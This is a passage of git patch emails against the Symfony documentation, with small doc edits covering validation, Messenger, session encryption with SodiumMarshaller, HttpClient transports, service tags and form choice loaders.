+Static or closure callbacks receive the validated object as the first argument,
+the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
+instance as the second argument and the :ref:`payload option <reference-constraints-payload>`
+as the third argument.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
diff --git a/reference/constraints/_payload-option.rst.inc b/reference/constraints/_payload-option.rst.inc
index 5121ba1ae51..a76c9a4a29d 100644
--- a/reference/constraints/_payload-option.rst.inc
+++ b/reference/constraints/_payload-option.rst.inc
@@ -1,3 +1,5 @@
+.. _reference-constraints-payload:
+
 ``payload``
 ~~~~~~~~~~~
 

From c01bfc0b8dbf8853a1875893d3e4a4622b851564 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Mon, 28 Aug 2023 12:54:58 +0200
Subject: [PATCH 3695/5766] [Console] Fix a typo after #18739

---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index 7c7f4cfc5d1..cbe1c3816f1 100644
--- a/console.rst
+++ b/console.rst
@@ -610,7 +610,7 @@ tools capable of helping you with different tasks:
 * :doc:`/components/console/helpers/table`: displays tabular data as a table
 * :doc:`/components/console/helpers/debug_formatter`: provides functions to
   output debug information when running an external program
-* :doc:`/components/console/helpers/processhelper`: allows to run processes using ``DebugProcessHelper``
+* :doc:`/components/console/helpers/processhelper`: allows to run processes using ``DebugFormatterHelper``
 * :doc:`/components/console/helpers/cursor`: allows to manipulate the cursor in the terminal
 
 .. _`exit status`: https://en.wikipedia.org/wiki/Exit_status

From da9e3b7433a4bb51f7575ca18ac697f5f3dc5b2f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 13:35:33 +0200
Subject: [PATCH 3696/5766] Reword

---
 validation.rst | 19 ++++++-------------
 1 file changed, 6 insertions(+), 13 deletions(-)

diff --git a/validation.rst b/validation.rst
index 661bf14252e..8fc5d71a6f4 100644
--- a/validation.rst
+++ b/validation.rst
@@ -736,20 +736,13 @@ Validating Object With Inheritance
 When you validate an object that extends another class, the validator
 automatically validates constraints defined in the parent class as well.
 
-.. caution::
-
-    Note that overriding a property with others constraints in a child class
-    will not remove the constraints defined in the parent class on that same
-    property.
-    Instead, the constraints will be merged for that property.
-    This is related to Java Language Specification.
-
-.. tip::
+**The constraints defined in the parent properties will be applied to the child
+properties even if the child properties override those constraints**. Symfony
+will always merge the parent constraints for each property.
 
-    If you want to override constraints defined in the parent class, you should
-    define them in a different validation group instead and validate the object
-    with that group.
-    See :doc:`Validation Groups </validation/groups>` for more information.
+You can't change this behavior, but you can overcome it by defining the parent
+and the child contraints in different :doc:`validation groups </validation/groups>`
+and then select the appropriate group when validating each object.
 
 Debugging the Constraints
 -------------------------

From 951fc9b1783c0e87e3c5d39d7f1e6d9126686108 Mon Sep 17 00:00:00 2001
From: MWJeff <j.martins@mentalworks.fr>
Date: Fri, 11 Aug 2023 10:50:38 +0200
Subject: [PATCH 3697/5766] Prefer placing services before query parameters

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 12b2a44bf46..d5cff272241 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -536,7 +536,7 @@ and injected by the dependency injection container::
     class ProductController extends AbstractController
     {
         #[Route('/product/{id}', name: 'product_show')]
-        public function show(int $id, ProductRepository $productRepository): Response
+        public function show(ProductRepository $productRepository, int $id): Response
         {
             $product = $productRepository
                 ->find($id);

From f24201eb59a6c4994207f5d79a679f2b27a45d06 Mon Sep 17 00:00:00 2001
From: R1n0x <r1n0x-dev@proton.me>
Date: Fri, 11 Aug 2023 23:45:36 +0200
Subject: [PATCH 3698/5766] Update messenger.rst

Added explanation on how to set default messenger table name
---
 messenger.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 6835e8dff11..625e15f22b0 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1445,6 +1445,14 @@ a table named ``messenger_messages``.
     The ability to automatically generate a migration for the ``messenger_messages``
     table was introduced in Symfony 5.1 and DoctrineBundle 2.1.
 
+If you would like to change the name of the default table you can pass it in the DSN
+settings by using the ``table_name`` option.
+
+.. code-block:: env
+
+    # .env
+    MESSENGER_TRANSPORT_DSN=doctrine://default?table_name=your_table_name
+
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 

From 24b9fa4f6487262ea2e2f375e687f4b3b5c3831d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 15:51:23 +0200
Subject: [PATCH 3699/5766] Tweaks

---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 625e15f22b0..b3840f77344 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1445,13 +1445,13 @@ a table named ``messenger_messages``.
     The ability to automatically generate a migration for the ``messenger_messages``
     table was introduced in Symfony 5.1 and DoctrineBundle 2.1.
 
-If you would like to change the name of the default table you can pass it in the DSN
-settings by using the ``table_name`` option.
+If you want to change the default table name, pass a custom table name in the
+DSN by using the ``table_name`` option:
 
 .. code-block:: env
 
     # .env
-    MESSENGER_TRANSPORT_DSN=doctrine://default?table_name=your_table_name
+    MESSENGER_TRANSPORT_DSN=doctrine://default?table_name=your_custom_table_name
 
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.

From f2c55c30a60338f1354211c57c38a116787615ba Mon Sep 17 00:00:00 2001
From: timo002 <timo002@users.noreply.github.com>
Date: Mon, 28 Aug 2023 22:43:36 +0200
Subject: [PATCH 3700/5766] Update events.rst

Path where example code file is store updated. Remove 'App' directory.
---
 doctrine/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 6b445ef74ea..411b83745c2 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -173,7 +173,7 @@ listener in the Symfony application by creating a new service for it and
 
     .. code-block:: php-attributes
 
-        // src/App/EventListener/SearchIndexer.php
+        // src/EventListener/SearchIndexer.php
         namespace App\EventListener;
 
         use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;

From 7f0df2b525d6ce0af0bc67eea5f9f7a14635185c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 29 Aug 2023 13:53:04 +0200
Subject: [PATCH 3701/5766] [HttpFoundation] Added MarshallingSessionHandler

---
 session.rst | 79 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 79 insertions(+)

diff --git a/session.rst b/session.rst
index 058c0984b8c..9327d75619e 100644
--- a/session.rst
+++ b/session.rst
@@ -1468,6 +1468,85 @@ library, but you can adapt it to any other library that you may be using::
         }
     }
 
+Another possibility to encrypt session data is to decorate the
+``session.marshaller`` service, which points out to
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MarshallingSessionHandler`.
+You can decorate this handler with a marshaller that uses encryption,
+like the :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`.
+
+First, you need to generate a secure key and add it to your :doc:`secret
+store </configuration/secrets>` as ``SESSION_DECRYPTION_FILE``:
+
+.. code-block:: terminal
+
+    $ php -r 'echo base64_encode(sodium_crypto_box_keypair());'
+
+Then, register the ``SodiumMarshaller`` service using this key:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+
+            # ...
+            Symfony\Component\Cache\Marshaller\SodiumMarshaller:
+                decorates: 'session.marshaller'
+                arguments:
+                    - ['%env(file:resolve:SESSION_DECRYPTION_FILE)%']
+                    - '@Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
+            <services>
+                <service id="Symfony\Component\Cache\Marshaller\SodiumMarshaller" decorates="session.marshaller">
+                    <argument type="collection">
+                        <argument>env(file:resolve:SESSION_DECRYPTION_FILE)</argument>
+                    </argument>
+                    <argument type="service" id="Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\Cache\Marshaller\SodiumMarshaller;
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+        // ...
+
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
+
+            // ...
+
+            $services->set(SodiumMarshaller::class)
+                ->decorate('session.marshaller')
+                ->args([
+                    [env('file:resolve:SESSION_DECRYPTION_FILE')],
+                    service(SodiumMarshaller::class.'.inner'),
+                ]);
+        };
+
+.. caution::
+
+    This will encrypt the values of the cache items, but not the cache keys. Be
+    careful not to leak sensitive data in the keys.
+
+.. versionadded:: 5.1
+
+    The :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`
+    and :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MarshallingSessionHandler`
+    classes were introduced in Symfony 5.1.
+
 Read-only Guest Sessions
 ~~~~~~~~~~~~~~~~~~~~~~~~
 

From e159fc1271db1d1a05575743d9d9e2637ecd1d95 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 29 Aug 2023 16:22:10 +0200
Subject: [PATCH 3702/5766] [HttpClient] make HttpClient::create() return an
 AmpHttpClient when amphp/http-client is found but curl is not or too old

---
 http_client.rst | 38 +++++++++++++++++++++++++++-----------
 1 file changed, 27 insertions(+), 11 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 399199f0557..131c3d4eecd 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -854,15 +854,28 @@ To leverage all these design benefits, the cURL extension is needed.
 Enabling cURL Support
 ~~~~~~~~~~~~~~~~~~~~~
 
-This component supports both the native PHP streams and cURL to make the HTTP
-requests. Although both are interchangeable and provide the same features,
-including concurrent requests, HTTP/2 is only supported when using cURL.
+This component supports the native PHP streams, ``amphp/http-client`` and cURL to
+make the HTTP requests. Although they are interchangeable and provide the
+same features, including concurrent requests, HTTP/2 is only supported when
+using cURL or ``amphp/http-client``.
+
+.. note::
+
+    To use the :class:`Symfony\\Component\\HttpClient\\AmpHttpClient`, the
+    `amphp/http-client`_ package must be installed.
+
+.. versionadded:: 5.1
+
+    Integration with ``amphp/http-client`` was introduced in Symfony 5.1.
 
 The :method:`Symfony\\Component\\HttpClient\\HttpClient::create` method
-selects the cURL transport if the `cURL PHP extension`_ is enabled and falls
-back to PHP streams otherwise. If you prefer to select the transport
-explicitly, use the following classes to create the client::
+selects the cURL transport if the `cURL PHP extension`_ is enabled. It falls
+back to ``AmpHttpClient`` if cURL couldn't be found or is too old. Finally, if
+``AmpHttpClient`` is not available, it falls back to PHP streams.
+If you prefer to select the transport explicitly, use the following classes
+to create the client::
 
+    use Symfony\Component\HttpClient\AmpHttpClient;
     use Symfony\Component\HttpClient\CurlHttpClient;
     use Symfony\Component\HttpClient\NativeHttpClient;
 
@@ -872,9 +885,12 @@ explicitly, use the following classes to create the client::
     // uses the cURL PHP extension
     $client = new CurlHttpClient();
 
+    // uses the client from the `amphp/http-client` package
+    $client = new AmpHttpClient();
+
 When using this component in a full-stack Symfony application, this behavior is
 not configurable and cURL will be used automatically if the cURL PHP extension
-is installed and enabled. Otherwise, the native PHP streams will be used.
+is installed and enabled, and will fall back as explained above.
 
 Configuring CurlHttpClient Options
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -928,7 +944,7 @@ HTTP/2 Support
 When requesting an ``https`` URL, HTTP/2 is enabled by default if one of the
 following tools is installed:
 
-* The `libcurl`_ package version 7.36 or higher;
+* The `libcurl`_ package version 7.36 or higher, used with PHP >= 7.2.17 / 7.3.4;
 * The `amphp/http-client`_ Packagist package version 4.2 or higher.
 
 .. versionadded:: 5.1
@@ -984,9 +1000,9 @@ To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the
 
         $client = HttpClient::create(['http_version' => '2.0']);
 
-Support for HTTP/2 PUSH works out of the box when libcurl >= 7.61 is used with
-PHP >= 7.2.17 / 7.3.4: pushed responses are put into a temporary cache and are
-used when a subsequent request is triggered for the corresponding URLs.
+Support for HTTP/2 PUSH works out of the box when using a compatible client:
+pushed responses are put into a temporary cache and are used when a
+subsequent request is triggered for the corresponding URLs.
 
 Processing Responses
 --------------------

From dbb7f8526b4c63b863dfa5a7a71b9e749fa7639c Mon Sep 17 00:00:00 2001
From: Simo Heinonen <simo@dudgeon.fi>
Date: Tue, 29 Aug 2023 18:00:41 +0300
Subject: [PATCH 3703/5766] Update lock.rst

Redis store doesn't support blocking so doesn't make sense to use it as an example
---
 components/lock.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index a856523baa7..f38b8d27e63 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -145,9 +145,9 @@ pass ``true`` as the argument of the ``acquire()`` method. This is called a
 lock is acquired::
 
     use Symfony\Component\Lock\LockFactory;
-    use Symfony\Component\Lock\Store\RedisStore;
+    use Symfony\Component\Lock\Store\FlockStore;
 
-    $store = new RedisStore(new \Predis\Client('tcp://localhost:6379'));
+    $store = new FlockStore('/var/stores');
     $factory = new LockFactory($store);
 
     $lock = $factory->createLock('pdf-creation');

From 6598347a7dd64e10741a26502c9275ac6bcfefbb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Aug 2023 17:41:05 +0200
Subject: [PATCH 3704/5766] Remove the versionadded directive

---
 session.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/session.rst b/session.rst
index 4419ecf1ae7..f8e1d367393 100644
--- a/session.rst
+++ b/session.rst
@@ -1657,12 +1657,6 @@ Then, register the ``SodiumMarshaller`` service using this key:
     This will encrypt the values of the cache items, but not the cache keys. Be
     careful not to leak sensitive data in the keys.
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`
-    and :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MarshallingSessionHandler`
-    classes were introduced in Symfony 5.1.
-
 Read-only Guest Sessions
 ~~~~~~~~~~~~~~~~~~~~~~~~
 

From f78344d78443f7c17d56d0791a70faa9ad9e05c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Aug 2023 17:56:57 +0200
Subject: [PATCH 3705/5766] Tweaks

---
 http_client.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 131c3d4eecd..8fe16087680 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -854,10 +854,10 @@ To leverage all these design benefits, the cURL extension is needed.
 Enabling cURL Support
 ~~~~~~~~~~~~~~~~~~~~~
 
-This component supports the native PHP streams, ``amphp/http-client`` and cURL to
-make the HTTP requests. Although they are interchangeable and provide the
-same features, including concurrent requests, HTTP/2 is only supported when
-using cURL or ``amphp/http-client``.
+This component can make HTTP requests using native PHP streams and the
+``amphp/http-client`` and cURL libraries. Although they are interchangeable and
+provide the same features, including concurrent requests, HTTP/2 is only supported
+when using cURL or ``amphp/http-client``.
 
 .. note::
 

From 97865534b323be3b11f4168c3ea7e601acc90004 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Aug 2023 17:57:40 +0200
Subject: [PATCH 3706/5766] Remove a versionadded directive

---
 http_client.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index b2b313c0cff..ee3fc7ff30f 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -985,10 +985,6 @@ when using cURL or ``amphp/http-client``.
     To use the :class:`Symfony\\Component\\HttpClient\\AmpHttpClient`, the
     `amphp/http-client`_ package must be installed.
 
-.. versionadded:: 5.1
-
-    Integration with ``amphp/http-client`` was introduced in Symfony 5.1.
-
 The :method:`Symfony\\Component\\HttpClient\\HttpClient::create` method
 selects the cURL transport if the `cURL PHP extension`_ is enabled. It falls
 back to ``AmpHttpClient`` if cURL couldn't be found or is too old. Finally, if

From 419c79d26db6bd6a6985bcd968c6060fa91c68d3 Mon Sep 17 00:00:00 2001
From: Marko Kaznovac <kaznovac@users.noreply.github.com>
Date: Tue, 29 Aug 2023 20:40:02 +0200
Subject: [PATCH 3707/5766] routing[https]: fix php configuration

fix using of nonexisting `$container->setParameter` method
---
 routing.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 4406a27653e..964bd2f175e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2523,8 +2523,10 @@ method) or globally with these configuration parameters:
     .. code-block:: php
 
         // config/services.php
-        $container->setParameter('router.request_context.scheme', 'https');
-        $container->setParameter('asset.request_context.secure', true);
+        $container->parameters()
+            ->set('router.request_context.scheme', 'https')
+            ->set('asset.request_context.secure', true)
+        ;
 
 Outside of console commands, use the ``schemes`` option to define the scheme of
 each route explicitly:

From dc67e902574d7ef40198226a36c718b349444a72 Mon Sep 17 00:00:00 2001
From: wuchen90 <chen90@hotmail.fr>
Date: Wed, 30 Aug 2023 00:57:42 +0200
Subject: [PATCH 3708/5766] Fix Serializer context configuration in YAML

---
 serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 7bf972e908e..32140aa1e6d 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -212,8 +212,8 @@ You can also specify the context on a per-property basis::
         App\Model\Person:
             attributes:
                 createdAt:
-                    context:
-                        datetime_format: 'Y-m-d'
+                    contexts:
+                        - { context: { datetime_format: 'Y-m-d' } }
 
     .. code-block:: xml
 

From 1a444774b8973fe9c820afe7b4386b341301c3c6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 30 Aug 2023 08:46:17 +0200
Subject: [PATCH 3709/5766] [Workflow] Deprecate `GuardEvent::getContext()`
 method

---
 workflow.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index df2f4e67dff..40b4a4ae9e5 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -466,6 +466,12 @@ The context is accessible in all events except for the ``workflow.guard`` events
     // in an event listener (workflow.guard events)
     $context = $event->getContext(); // returns ['context']
 
+.. deprecated:: 6.4
+
+    Gathering events context is deprecated since Symfony 6.4 and the
+    :method:`Symfony\\Component\\Workflow\\Event::getContext` method will be
+    removed in Symfony 7.0.
+
 .. note::
 
     The leaving and entering events are triggered even for transitions that stay

From 52aee8185e943cbe759c62f39698f78d6c7af055 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 30 Aug 2023 11:38:11 +0200
Subject: [PATCH 3710/5766] [DependencyInjection] Allow loading and dumping
 tags with an attribute named "name"

---
 service_container/tags.rst | 39 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 87f354434c2..c6ed02067e7 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -515,6 +515,45 @@ To answer this, change the service declaration:
             ;
         };
 
+.. tip::
+
+    In XML and YAML format, you may provide the tag an attribute called ``name``.
+    When doing so, this is the syntax you should follow:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                MailerSmtpTransport:
+                    arguments: ['%mailer_host%']
+                    tags:
+                        - app.mail_transport: { name: 'arbitrary-value', alias: 'smtp' }
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <service id="MailerSmtpTransport">
+                        <argument>%mailer_host%</argument>
+
+                        <tag name="arbitrary-value" alias="smtp">app.mail_transport</tag>
+                    </service>
+                </services>
+            </container>
+
+    .. versionadded:: 5.1
+
+        The possibility to add the ``name`` attribute to a tag in XML and YAML
+        formats was introduced in Symfony 5.1.
+
 .. tip::
 
     In YAML format, you may provide the tag as a simple string as long as

From 37c4df75a5bb7b001c9662d66921bc427bc48150 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 30 Aug 2023 13:36:19 +0200
Subject: [PATCH 3711/5766] [Form] Added `AbstractChoiceLoader`

---
 .../forms/types/options/choice_loader.rst.inc    | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index 67062c56ada..23bb10c7449 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -26,6 +26,22 @@ This will cause the call of ``StaticClass::getConstants()`` to not happen if the
 request is redirected and if there is no pre set or submitted data. Otherwise
 the choice options would need to be resolved thus triggering the callback.
 
+If the ``CallbackChoiceLoader`` doesn't fit your needs and you want to create
+your own loader, you can either create a loader by implementing the
+:class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\ChoiceLoaderInterface`
+or by extending the
+:class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader`.
+This abstract class allows to save some boilerplate by implementing some
+of the :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\ChoiceLoaderInterface`
+methods. Thus, you'll only have to implement the
+:method:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader::loadChoices`
+method to have a fully functional choice loader.
+
+.. versionadded:: 5.1
+
+    The :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader`
+    class was introduced in Symfony 5.1.
+
 When you're defining a custom choice type that may be reused in many fields
 (like entries of a collection) or reused in multiple forms at once, you
 should use the :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList`

From 5582881850af3b25000754bbb7cbe3baea3ff2f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Aug 2023 13:17:08 +0200
Subject: [PATCH 3712/5766] Tweak

---
 reference/forms/types/options/choice_loader.rst.inc | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index 23bb10c7449..a906007c324 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -26,14 +26,13 @@ This will cause the call of ``StaticClass::getConstants()`` to not happen if the
 request is redirected and if there is no pre set or submitted data. Otherwise
 the choice options would need to be resolved thus triggering the callback.
 
-If the ``CallbackChoiceLoader`` doesn't fit your needs and you want to create
-your own loader, you can either create a loader by implementing the
+If the built-in ``CallbackChoiceLoader`` doesn't fit your needs, you can create
+your own loader by implementing the
 :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\ChoiceLoaderInterface`
 or by extending the
 :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader`.
-This abstract class allows to save some boilerplate by implementing some
-of the :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\ChoiceLoaderInterface`
-methods. Thus, you'll only have to implement the
+This abstract class saves you some boilerplate by implementing some methods of
+the interface so you'll only have to implement the
 :method:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader::loadChoices`
 method to have a fully functional choice loader.
 

From dbd01e5748a27457b457baf17b90a337ad165c5e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Aug 2023 13:19:12 +0200
Subject: [PATCH 3713/5766] Remove a versionadded directive

---
 reference/forms/types/options/choice_loader.rst.inc | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index 641b557aa34..502ddb125c7 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -36,11 +36,6 @@ the interface so you'll only have to implement the
 :method:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader::loadChoices`
 method to have a fully functional choice loader.
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader`
-    class was introduced in Symfony 5.1.
-
 When you're defining a custom choice type that may be reused in many fields
 (like entries of a collection) or reused in multiple forms at once, you
 should use the :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList`

From 6e6565b02e09210a11f98f0adcf470c958d86f08 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Aug 2023 14:56:24 +0200
Subject: [PATCH 3714/5766] Tweaks

---
 service_container/tags.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index c6ed02067e7..0bbe295cb7e 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -517,8 +517,9 @@ To answer this, change the service declaration:
 
 .. tip::
 
-    In XML and YAML format, you may provide the tag an attribute called ``name``.
-    When doing so, this is the syntax you should follow:
+    The ``name`` attribute is used by default to define the name of the tag.
+    If you want to add a ``name`` attribute to some tag in XML or YAML formats,
+    you need to use this special syntax:
 
     .. configuration-block::
 
@@ -529,6 +530,9 @@ To answer this, change the service declaration:
                 MailerSmtpTransport:
                     arguments: ['%mailer_host%']
                     tags:
+                        # this is a tag called 'app.mail_transport'
+                        - { name: 'app.mail_transport', alias: 'smtp' }
+                        # this is a tag called 'app.mail_transport' with two attributes ('name' and 'alias')
                         - app.mail_transport: { name: 'arbitrary-value', alias: 'smtp' }
 
         .. code-block:: xml
@@ -543,7 +547,9 @@ To answer this, change the service declaration:
                 <services>
                     <service id="MailerSmtpTransport">
                         <argument>%mailer_host%</argument>
-
+                        <!-- this is a tag called 'app.mail_transport' -->
+                        <tag name="app.mail_transport" alias="sendmail"/>
+                        <!-- this is a tag called 'app.mail_transport' with two attributes ('name' and 'alias') -->
                         <tag name="arbitrary-value" alias="smtp">app.mail_transport</tag>
                     </service>
                 </services>

From 495b5eb2ee214ca094ea4f6ddcdd671dba113788 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 31 Aug 2023 15:25:48 +0200
Subject: [PATCH 3715/5766] [Messenger] Add `FlattenExceptionNormalizer`

---
 components/messenger.rst | 14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 263a4dd1cca..e78daa1c8d8 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -161,9 +161,21 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
    an internal stamp when a message fails due to an exception in the handler.
 
+.. note::
+
+    The :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp` stamp
+    contains a :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException`,
+    which is a representation of the exception that made the message failed. This
+    exception can be retrieved with the
+    :method:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp::getFlattenException`
+    method. This exception is normalized thanks to the
+    :class:`Symfony\\Component\\Messenger\\Transport\\Serialization\\Normalizer\\FlattenExceptionNormalizer`
+    which helps error reporting in the Messenger context.
+
 .. versionadded:: 5.2
 
-    The ``ErrorDetailsStamp`` stamp was introduced in Symfony 5.2.
+    The ``ErrorDetailsStamp`` stamp and the ``FlattenExceptionNormalizer``
+    were introduced in Symfony 5.2.
 
 Instead of dealing directly with the messages in the middleware you receive the envelope.
 Hence you can inspect the envelope content and its stamps, or add any::

From e59d643638b6220e94bbd93eb3fb416c0c430b88 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 31 Aug 2023 16:21:28 +0200
Subject: [PATCH 3716/5766] [HttpKernel] Auto-register kernel as an extension

---
 configuration/micro_kernel_trait.rst | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 5940b918183..8b4869fdea1 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -105,7 +105,18 @@ Adding Interfaces to "Micro" Kernel
 When using the ``MicroKernelTrait``, you can also implement the
 ``CompilerPassInterface`` to automatically register the kernel itself as a
 compiler pass as explained in the dedicated
-:ref:`compiler pass section <kernel-as-compiler-pass>`.
+:ref:`compiler pass section <kernel-as-compiler-pass>`. If the
+:class:`Symfony\\Component\\DependencyInjection\\Extension\\ExtensionInterface`
